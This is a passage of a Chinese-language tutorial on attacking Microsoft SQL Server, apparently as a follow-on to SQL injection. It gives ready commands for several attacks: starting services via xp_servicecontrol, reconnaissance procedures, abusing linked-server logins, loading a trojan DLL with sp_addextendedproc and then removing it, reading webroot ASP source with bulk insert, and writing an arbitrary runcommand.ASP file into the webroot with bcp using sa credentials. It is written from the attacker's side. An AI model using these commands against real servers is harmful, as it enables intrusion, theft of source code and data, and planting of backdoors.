xp_servicecontrol擴展存儲允許用戶啟動,停止,暫停或者運行服務。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
下面是一些其他有用的擴展存儲表:
xp_availablemedia 顯示機器上可用的驅動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務器上的ODBC數據源
xp_loginconfig 顯示服務器的安全狀態信息
xp_makecab 允許用戶在服務器上創建壓縮文件(或者任何服務器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務器可以訪問的域
xp_terminate_process 結束一個給定PID進程
[聯合服務器]
SQL-Server提供了一個服務器聯合的機制,就是允許一個數據庫服務器上的查詢操作其他服務器的數據。這些聯合設置存放在master..sysservers表裡,如果一個相連的服務器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經存在,可以通過它不登陸而訪問該服務器。'openquery'函數允許查詢在聯合服務器上執行。
[用戶自定義擴展存儲]
擴展存儲的API是相當簡單的,創建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務器,還有其他的很多方法包括各種通信機制來自動實現,比如HTTP下載和FTP腳本。
一旦DLL文件出現在服務器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這裡,我們的惡意擴展存儲是個用來操作服務器的文件系統小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就可以通過一般的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導入文本文件]
利用'bulk insert'語句,可以把一個文本文件的內容插入進一張臨時表,我們簡單的創建一個表:
create table foo( line varchar(8000) )
然後執行bulk insert來插入數據來自於一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.ASP'
通過上面介紹過的錯誤信息技巧就可以得到數據,或者通過一個'union'查詢,把文本數據作為查詢的數據返回。這對於獲得存儲在數據庫裡的腳本如ASP腳本很有用。
[利用BCP創建文本文件]
利用和'bulk insert'作用相反的技術創建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進程外訪問數據庫,它需要一次登陸。但是這不難,因為攻擊者都可以創建一個;或者如果服務器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.ASP -c -Slocalhost -Usa -Pfoobar
'S'參數是要運行查詢的服務器,'U'參數是用戶名,'P'是密碼,這裡的密碼是'foobar'。